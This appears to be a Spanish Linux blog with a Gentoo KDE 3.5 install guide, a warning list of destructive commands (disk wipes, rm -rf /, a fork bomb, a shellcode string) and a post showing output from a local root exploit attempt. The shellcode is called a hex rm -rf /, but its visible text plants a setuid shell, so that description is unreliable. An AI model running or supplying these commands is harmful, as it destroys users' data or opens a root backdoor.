Hola, este blog dejara de dar actualizaciones a partir de ahora.
La nueva direccion es esta
Pero dejare este blog para que sigan consultando entre otras cosas, que quede claro que no lo actualizare mas!!!!
Saludos!!!
La nueva direccion es esta
Pero dejare este blog para que sigan consultando entre otras cosas, que quede claro que no lo actualizare mas!!!!
Saludos!!!
Como habran visto, kde ha dado pasos gigantes, el pero es que se ensucia su apariencia por tener todo instalado, en esas distros one-click and install (no todas), y no en todo pc andara las nuevas versiones, aunque se podria apagando todos los efectos, Akonadi, Nepomuk, etc
El gran pero es, que muchos kdeeros-old-style extrañan a kde 3.5.10, y similares, o sino no habria esfuerzos para hacer un fork e intentar mantener todo ese desktop manager, como el fork Trinity Desktop o a su semejanza pero mantenido por la gentooza, un overlay llamado kde-sunset, y parece que los esfuerzos no son en vano :3
Vamos con lo nuestro...
""recuerde: el kde resultante sera lo mas minimo posible, nada de kdm, alrededor de 32 a 34 paquetes, no 52, ni 300, que es todo este DE, aunque puedes añadir mas cosas ;), (y con bonus, un compiz-fusion lo mas pelado posible, aunque eso es opcional), si quiere que portage le pregunte si quiere instalar y ver todos los paquetes que instalara y las salidas añadir -av al emerge (#emerge -av paquete)""
Instalar Layman, muy necesario o sino no podras añadir el overlay y ni actualizarlo (hacer eso con sudo comando, o como root con su luego password de super-usuario)
no me gusta que todo los paquetes asocien a kde, arts esta de mas
editar con nano:
#nano /etc/make.conf
añadir con nano o su editor las siguientes USES:
-kde -qt3 -arts
guardar con ctrl+x en nano, o con ctrl+g, segun su editor que use.
Recuerde que si no existe el directorio /etc/portage lo tiene que crear:
#mkdir -p /etc/portage/
#echo "app-portage/layman git subversion" >> /etc/portage/package.use
emerger layman:
#emerge layman
luego hay que configurarlo, ( en versiones mas nuevas el directorio de layman no es /usr/local/portage/layman/ sino en /var/lib/layman/)
mostrar todos los overlays disponibles:
#layman -L
vamos a añadir esta:
#layman -a kde-sunset
esperas, tardaria un poco, si son mas de 350 paquetes de kde, incluyendo al qt-3.3, y segun la coneccion que tengas....
si sale todo bien saldra esto:
* Successfully added overlay "kde-sunset"
Importante: añadir el overlay para que portage lo tome, o se quejara:
#echo "source /var/lib/layman/make.conf" >> /etc/make.conf
#env-update && source /etc/profile
kdelibs da error con openssl 1.0 usar la version de testing, tambien kcontrol añadir a /etc/portage/package.keywords:
nano /etc/portage/package.keywords
añadir:
kde-base/kdelibs
kde-misc/kdnssd-avahi
=kde-base/kcontrol-3.5.10-r1
=kde-base/kopete-3.5.10-r6
(bueno, la version mas nueva del ebuild de kopete tiene mas parches para andar con el WLM nuevo, entre otras) opcional
guardar el archivo, segun su editor que uses..
no me gusta tener todo el soporte instalado de qt sobre mysql y cups, asi que:
añadir en /etc/portage/package.use:
=x11-libs/qt-meta-3.3.8b-r2 -mysql -cups
kde-base/kdelibs -cups legacyssl utempter
net-dns/avahi qt3
lo de avahi es importante tenerlo con USE qt3 activado, o tendra lios...
guardar el archivo, segun su editor que uses..
(kdelibs con la use legacyssl compila ok, y la use utempter permite tener acceso a utmp sin lios ;))
Un truco que me pille en gentoo forums, como enmascaras kde4, si es que eres de esos que no quieren nada, ni con las qt4...
#cd /usr/portage/kde-base && find . -name \*ebuild | grep 4.6.5 | sed -e 's:.*/:kde-base/:;s/-4.6.*/:4/' >> /etc/portage/package.mask
asi nada de kde4, ni demas cuando se actualize el sistema o se haga emerge -uDNav world, o similar.
ahora no vamos a instalar todo kde, sino la base minima para funcionar:
#emerge kde-base/kdebase-startkde kde-base/kde-i18n
el ultimo paquete es para tener el soporte en español en esta version, ademas para españolizar las apps
esto va a tardar un rato, segun la antiguedad de su pc, o si tienes un quadcore, y emergiendo, no tardaria casi nada.
si todo salio bien y sin errores. añadir en el fichero .xinitrc o crearlo (solo para los que arrancan con startx)
$echo "exec /usr/kde/3.5/bin/startkde" >> .xinitrc
si usas GDM, se puede hacer lo siguiente, con el mismo efecto:
#nano /usr/share/xsessions/kde3realive.desktop
[Desktop Entry]
Encoding=UTF-8
# This is the name you'll see for the session in gdm
Name=Kde3 Realives
# This is the comment
Comment=Kde3 in 2011 on gentoo
# The command
Exec=/usr/kde/3.5/bin/startkde
Type=Application
guardar los cambios con su editor que prefiere.
reiniciar, gdm, o si usas startx, solo salir de la sesion, o a la bestia (algo sera):
$killall -9 X
Ahora tendra un al gran y honorable KDE 3.5.10 andando en el 2011, por la CTM!!!, aplauda, ni idea, baile, o lo que se le ocurra :P (hasta ahora es un kde 3.5.10 sin efectos, ahora vamos por lo de compiz-fusion, que es opcional, si no quiere no lo instale!!!, si quiere seguir.. Asumo que ya tiene aceleracion 3d activada, y funcionando bastante bien, para checkearlo Compiz-check)
a mi me dio ok, en todo:
[dexter4@Kagamine:~]% ./compiz-check
Gathering information about your system...
Distribution: Gentoo
Desktop environment: KDE
Graphics chip: ATI Technologies Inc RV350 AP [Radeon 9600]
Driver in use: radeon
Rendering method: AIGLX
Checking if it's possible to run Compiz on your system...
Checking for texture_from_pixmap... [ OK ]
Checking for non power of two support... [ OK ]
Checking for composite extension... [ OK ]
Checking for FBConfig... [ OK ]
Checking for hardware/setup problems... [ OK ]
Siga lo siguiente:
añadir lo siguiente en el fichero /etc/portage/package.keywords
dev-libs/protobuf
dev-util/intltool
dev-python/compizconfig-python
x11-apps/ccsm
x11-libs/libcompizconfig
x11-libs/compizconfig-backend-gconf
x11-libs/compizconfig-backend-kconfig4
x11-libs/compiz-bcop
x11-plugins/compiz-plugins-main
x11-plugins/compiz-plugins-extra
x11-plugins/compiz-plugins-unsupported
x11-themes/emerald-themes
x11-wm/compiz
x11-wm/compiz-fusion
x11-wm/emerald
guarde el fichero con nano, u otro editor.
dejar el soporte de emerald, el decorador de ventanas y no tener soporte para kde y gnome, claro para aligerar a ese compiz!!!
#echo "x11-wm/compiz-fusion emerald -kde -gnome" >> /etc/portage/package.use
emerger compiz, y fusion-icon
#emerge compiz-fusion fusion-icon
deje que compile, una vez terminado..
iniciar compiz con fusion icon, invocar con:
$fusion-icon &
Añadir al autoinicio al fusion icon, crear el fichero cargar, o el nombre que quiera, en mi caso cargar, en el directorio .kde/Autostart de su directorio home:
con nano o similar.. añadir esto:
#!/usr/bin/env bash
fusion-icon &
gkrellm -g +1232+0 &
Gkrellm en mi caso, si usas conky lo reemplazas por: conky &, es importante los & o sino no arrancaran las aplicaciones en segundo plano y no se verian :/
PD: si kopete da lios con jingle y portage se queja de la use, solo hay que añadir esto:
#echo "kde-base/kopete -jingle" >> /etc/portage/package.use
si quiere soporte para msn, jabber (xmpp) e irc, quedaria asi:
#echo "kde-base/kopete msn irc -jingle jabber" >> /etc/portage/package.use
qca se actualiza a la version 2 y me lia todo el kde y quiere actualizar a la version 4, claro si querias el kopete del 3.5.., añadir lo siguiente en /etc/portage/package.mask:
#echo "app-crypt/qca:2" >> /etc/portage/package.mask
Solo si usas gkrellm: no se ve en todos los escritorios, sale en la barra de tareas, me tapa las ventanas :S...
Invocar ccsm, o desde el fusion icon Settings Manager, ir a Window Rules o Regla de ventanas, es lo mismo, añadir en estos apartados: ( si su conky hace lios, tambien esto le servira, solo cambiar la clase por Conky):
Saltar en la barra de tareas: class=Gkrellm
Omitir Paginador: class=Gkrellm
Pegajoso: class=Gkrellm
Ventanas Inamovibles: class=Gkrellm
En Gkrellm, click derecho, configuracion, Pestaña propiedades:
Activar estado pegajoso, activar la opcion
Situar debajo de otras ventanas del mismo tipo, activar la opcion
No suena kde!!!. Claro al no tener soporte de arts, el demonio de sonido de la version 3.5 se pierde los sonidos de kde, pero hay una manera para recuperarlo:
Menu K, preferencias, sonido y multimedia, notificaciones del sistema, preferencias de reproduccion, cambiar la opcion usar aplicacion externa, añadir "ogg123" (sin comillas) en reproductor, aplicar, ahora prueba cualquier sonido, y cha chan!! suena de nuevo !!
Tener sesion vacia: Ir a menu K, preferencias, Componentes de KDE, Gestor de Sesiones, en el apartado al acceder, cambiar la opcion por Comenzar por una sesion vacia. Les sirve para evitar la lentitud, cuando arranca y tenias muchas apps corriendo.
Ahora el resultado final, segun mis configuraciones, no necesita tenerlo igual o demas :)
Espero que les haya sido Util :)
Hola, aca les traigo una lista de comandos peligrosos para GNU/Linux para evitar que les pase algo y pierdan a su precisosa distro :)
Mirar pero no ejecutar nunca como root !!:
cat /dev/urandom > /dev/sda
Mala idea, ese comando lo que hace es pasar todos los datos de urandom, al bloque del disco duro, causando que pierdas los datos y las particiones.
rm -rf /
El conocido comando mortal, este borra absolutamente todo lo que este, incluso los datos de otras particiones si es que estan montadas.
chmod -R 777 /
Chmod es una muy buena herramienta para asignar permisos, pero nunca ejecutar asi, eso dañaria la instalacion de su distro y al reiniciar seria irrancable, lo bueno es que los datos del directorio home al estar con el permiso universal 777 se pueden recuperar, pero nada mas :S desde un live cd.
dd if=/dev/random of=/dev/port
Menos mortal, pero si te puede dar molestias. Al pasar los datos de /dev/random a /dev/port causaras un kernel panic, con reinicio regresa a la normalidad.
mv /home/yourhomedirectory/* /dev/null
Esto te pasara los datos de tu home a un punto nulo /dev/null (el agujero negro de Unix), y no los podras recuperar mas
chmod 000 -R /
Otra variante del chmod usado mal, ahora el permiso 000 te denegara el acceso a todo :S, no ejecutar nunca.
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
Version Hexadecimal del rm -rf /, puede pasar desapercibida hasta en los usuarios mas expertos, ni se les ocurra ejecutarla.
mkfs.ext3 /dev/sda
Esto elimina los datos del dispositivo seleccionado, no hacerlo o perderan sus datos.
cat /dev/input/mouse0 > /dev/sda
Otro comando peligroso, la peor manera de sacar la salida del raton, esa va directo al /dev/sda y con ello la perdida de datos, particiones, muy peligrosa.
:(){ :|:& };:
Una conocida Bomba Fork, lo que hace es crear muchos procesos hasta colapsar al sistema, y con ello obliga al reinicio del sistema, y en el peor de los casos, perdida de datos.
chmod -x chmod
Esta tambien causa que el sistema quede en mal estado.
Recuerden nunca ejecutar esos comandos como root u de otra manera o sino les causara problemas, dolores de cabeza y lo peor perdida de datos.
Un ya reconocido exploit uno de tipo local exploit permite obtener a root, desde el kernel 2.6.30, en muchos que no han sido parcheados o sea vanilla aun funciona en esos...
En mi caso no funciono, lo probe en el nuevo kernel 3.0 en Gentoo, para ser exactos el 3.0_rc3.
Requerimientos:
Tener el paquete build-essential en debian o derivados ya instalado (en Gentoo ya viene con todo lo necesario ya):
#apt-get install build-essential
luego:
$gcc exploit.c -o exploit
probar:
[dexter4@Kagamine:~/Descargas_Opera/cheddar_bay]% ./exploit
[+] MAPPED ZERO PAGE!
[+] Resolved nf_unregister_hooks to 0xc13e0df6
[+] Resolved commit_creds to 0xc1033767
[+] *0x2c |= 1
[+] b00m!
[+] Disabled security of : nothing, what an insecure machine!
[+] Failed to get root :( Something's wrong. Maybe the kernel isn't vulnerable?
[dexter4@Kagamine:~/Descargas_Opera/cheddar_bay]% uname -a
Linux Kagamine 3.0.0-rc3 #1 PREEMPT Wed Jun 15 16:47:18 CLT 2011 i686 Intel(R) Pentium(R) 4 CPU 1.60GHz GenuineIntel GNU/Linux
al final no pudo obtener root, en mi caso pero casi fue, recuerden no hacer trampa y cerrar toda sesion de root anteriormente :)
Recuerden no abusar de los exploit, es solo para fines de aprendizaje, o similar...
http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.39.tar.bz2
Fuente: The H-Open
PD : aun no solucionan el problema de energia con los portatiles, para el 2.6.40 deberia de estar de solucionado, eso espero. por ahora puedes saldarlo usando otro sheduller como el BFS, etc ...